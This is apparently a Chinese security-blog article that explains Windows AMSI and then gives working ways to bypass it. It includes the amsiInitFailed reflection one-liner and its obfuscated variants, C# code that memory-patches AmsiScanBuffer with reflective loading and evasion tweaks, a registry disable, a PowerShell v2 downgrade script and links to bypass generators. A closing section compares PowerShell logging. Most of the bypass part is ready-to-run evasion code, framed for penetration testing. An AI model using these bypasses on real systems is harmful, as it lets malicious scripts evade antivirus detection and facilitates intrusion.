查看原文
其他

原创 | AMSI 浅析及绕过

Zeva SecIN技术平台 2022-06-18
点击上方蓝字 关注我吧


0x00 前言


0x01  AMSI浅析


1、什么是AMSI?


AMSI(Antimalware Scan Interface),即反恶意软件扫描接口,在windows 10和 windows server 2016上默认安装并启用。顾名思义,他的工作就是扫描、检测和阻止。windows 10和windows server2016中AMSI默认杀软就是Windows Defender。


2、AMSI是如何运作的?


服务和应用程序可以通过AMSI来与系统中已安装的反病毒软件进行通信,也就是Windows Defender,AMSI采用了hook方法进行检测,详细的工作原理如下:

  • 创建PowerShell进程时,AMSI.DLL将从磁盘加载到其内存地址空间。
  • 在AMSI.DLL中,有一个名为AmsiScanBuffer()的函数,是用来扫描脚本内容的函数。
  • 在PowerShell中执行命令时,任何内容都将首先发送到AmsiScanBuffer(),然后再执行。
  • 随后,AmsiScanBuffer()将Windows Defender检查,以确定是否创建了任何签名。
  • 如果该内容被认为是恶意的,它将被阻止运行。

在Windows 10上,实现AMSI的所有组件如下:

  • 用户帐户控制,或UAC(EXE、COM、MSI或ActiveX时的权限提升)
  • Powershell(脚本、交互式使用和动态代码执行)
  • Windows脚本主机(wscript.exe和cscript.exe)
  • JavaScript和VBScript
  • Office VBA宏

AMSI的整体架构如图所示:


0x02  绕过AMSI检测


注:AMSI使用“基于字符串的”检测措施来确定PowerShell代码是否恶意。


1、绕过字符串检测


先查看一个示例:


如图,"amsiutils" 这个词被禁止了,AMSI认为这是一个恶意攻击。

那我们如何绕过字符串检测呢,最简单的一个方法就是使用编码或者分割成块,然后拼接来绕过

下面列出三钟方法

(1)直接把单词分成两块或者多块然后进行拼接,达到绕过的效果,但在大多数情况下可能会失败



(2)进行base64编码直接绕过AMSI,在某些情况下,base64一下直接绕过去了



(3)使用XOR来绕过AMSI,并在运行时将字符串解码回内存。这比上面的base64方法更有效


当然还有其他编码方式可以自行尝试,上面这几种方法都是为了绕过"字符串检测",但是实际过程中,我们需要执行我们的脚本,也就脚本被AMSI阻止,我们通过一个实例来演示下绕过AMSI。

最早的绕过AMSI的方法是16年一个老外发布的,命令如下
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)


我们把它放到powershell中运行,直接被AMSI阻止



因此,我们尝试上面方法,分割重组来实现一个简单的AMSI 绕过
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')$b = $a.GetField('amsiInitFailed','NonPublic,Static')$b.SetValue($null,$true)

然后我们尝试单行执行此命令,我们可以看到前两行被AMSI阻止


所以,我们重新调整一下我们的代码,然后我们就绕过了AMSI,加载了我们的脚本
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')$e.SetValue($null,$true)

当然也可以使用base64编码,或者使用hex编码,效果都是一样的

base64编码
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

hex编码

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)




2、通过Memory Patching绕过AMSI


这种方法并没有实际的绕过,而是禁用了AMSI,从powershell3.0开始,我们要完全绕过AMSI并执行任意powershell脚本的话,就需要完全禁用它

这是原作者的代码,把如下代码编译成C#的DLL,使用反射加载技术
using System;using System.Runtime.InteropServices;
namespace Bypass{ public class AMSI { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

public static int Disable() { IntPtr TargetDLL = LoadLibrary("amsi.dll"); if (TargetDLL == IntPtr.Zero) { Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer."); return 1; }
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); if (AmsiScanBufferPtr == IntPtr.Zero) { Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer"); return 1; }
UIntPtr dwSize = (UIntPtr)5; uint Zero = 0; if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) { Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!"); return 1; }
Byte[] Patch = { 0x31, 0xff, 0x90 }; IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); Marshal.Copy(Patch, 0, unmanagedPointer, 3); MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);
Console.WriteLine("AmsiScanBuffer patch has been applied."); return 0; } }}


命名为"source.cs"

然后我们使用powershell来编译它,在同目录下打开powershell,运行以下命令编译
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "Bypass-AMSI.dll"

编译后运行,直接被Defender给秒了(这里我把文件还原了一下,给大家看下效果图)



然后我们把dll文件进行base64编码****(Kali下,直接使用base64-i文件名,就可以得到base64编码)****,然后使用powershell进行武器化,反射加载,也是直接被秒
unction Bypass-AMSI{ if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String("你的base64编码")) | Out-Null Write-Output "DLL has been reflected"; } [Bypass.AMSI]::Disable()}


如图,直接被秒


通过上面的知识,我们知道AMSI是基于字符串的检测**,那我们就用工具去定位一下查杀点在哪。**

工具地址:
https://github.com/RythmStick/AMSITrigger


如上图所示,我们定位出查杀点是****"Bypass-AMSI、Bypass.AMSI、和一些base64中的一些字段"****。下面,我们尝试对我们的脚本进行一个免杀处理,我们直接base64编码转换成byte数组
$string = '' $a = [System.Convert]::FromBase64String('你的base64编码') $a | foreach {$string = $string + $_.ToString()+','} $string



然后修改我们的源代码,加载数组
function Bypass-AMSI{ if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) { [Reflection.Assembly]::Load([byte[]]@(这里是上面得到的byte数组)) | Out-Null Write-Output "DLL has been reflected"; } [Bypass.AMSI]::Disable();}


然后我们再去检测一下,这次只剩下****"Bypass-AMSI、Bypass.AMSI"****关键字


这里,如果我们直接修改这几个关键字会导致脚本运行直接报错,因为这个是运用的反射方法,不了解反射的小伙伴,去Google一下,这里我们直接修改前面的source.cs中的代码,只需要修改
namespace、public class即可,如下图


然后编译成DLL,进行base64编码,然后转换byte数组,然后修改ps1脚本,修改完的如下:


测试下效果,已经绕过AMSI


3、禁用AMSI


修改注册表,将
HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable
的值置为0

当然关闭Windows Defender 也可以使系统自带的AMSI检测无效化,这里注意当前权限。


然后直接执行命令和加载脚本都不会拦截


4、powershell版本降级绕过


powershell v2 版本不支持AMSI,我们可以将目标主机中的powershell降级至powershell v2版本。

代码如下:
if ($ShowOnly -eq $True){ Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process."}else{ Write-Verbose "Checking if .Net version 2.0.50727 is installed." $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version if($versions -match "2.0.50727") { Write-Verbose ".Net version 2.0.50727 found." Write-Output "Executing the bypass." powershell.exe -version 2 } else { Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2." }}


保存为 V2.ps1,运行即可绕过AMSI


5、一键Bypass AMSI


这里使用的是一个在线平台,平台可以直接生成powershell代码,这些代码可以直接破坏或者禁用当前进程的AMSI,每次生成的代码都是被混淆的,所以完全不担心会被检测到。
地址:https://amsi.fail/

效果如下图:


6、其他一些方法


利用反射将内存中AmsiScanBuffer方法的检测长度置为0

脚本地址:
https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909

直接本地或者远程加载即可绕过AMSI


Nishang也自带了bypassamsi的脚本,自行做免杀,避免上传被秒

地址:
https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1

其他一些过时的方法,我就不加了

0x03  powershell日志浅析


上面咱们说完了怎么绕过AMSI,下面咱们来说下powershell日志。

默认情况下,这四种日志功能默认是不开启的,但是在实际渗透中,系统肯定是默认开启日志记录的


关于日志的查看方法在事件查看器中**,下面我们来分别看下这四种**日志类型

1、模块(module)日志

事件ID:4103
路径:
Microsoft > Windows > PowerShell/Operational
作用:可以为 powershell 模块启动日志记录


使用
Get-Module -ListAvailable可以获取可用的模块名


2、管道执行(pipeline execute)日志

事件ID:800

路径:事件管理器 > 应用程序和服务日志 > Windows PowerShell

作用:记录 powershell 管道执行过程的事件简介


3、脚本块(script block)日志

事件id:4104
路径:
Microsoft > Windows > PowerShell/Operational
作用:powershell 讲记录命令、脚本块、函数和脚本的处理


4、脚本转换(transcripttion)日志

可以将 powershell 命令的输入和输出捕获到文本中


四种日志记录内容的对比


日志详情模块日志管道执行日志脚本块日志脚本转换日志
执行命令有(包括脚本内容)
上下文信息
参数绑定详情
解码/解混淆代码
命令输出


powershell 每个版本对日志功能的对比


日志类型V2版本V3版本V4版本V5版本
模块日志支持支持(V3增强)支持
管道执行日志支持支持支持支持
脚本块日志支持支持(自动记录恶意命令)
脚本转换日志支持支持(V4增强)


不同操作系统默认的powershell版本


操作系统默认Powershell版本可支持Powershell版本
Windows Server 2008(SP2)2.03.0
Windows Server 2008 R2(SP1)5.15.1
Windows Server 20123.05.1
Windows Server 2012(R2)4.05.1
Windows 7(SP1)5.15.1
Windows 83.05.1
Windows 8.14.05.1
Windows 105.05.1#

相关推荐



活动 | 炎炎夏日,SecIN重金征稿,喊你来参加!
原创 | 白说:php反序列化之pop链
原创 | 身临其境之谁是猎人
原创 | MybatisPuls分页插件中的SQL注入

你要的分享、在看与点赞都在这儿~

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存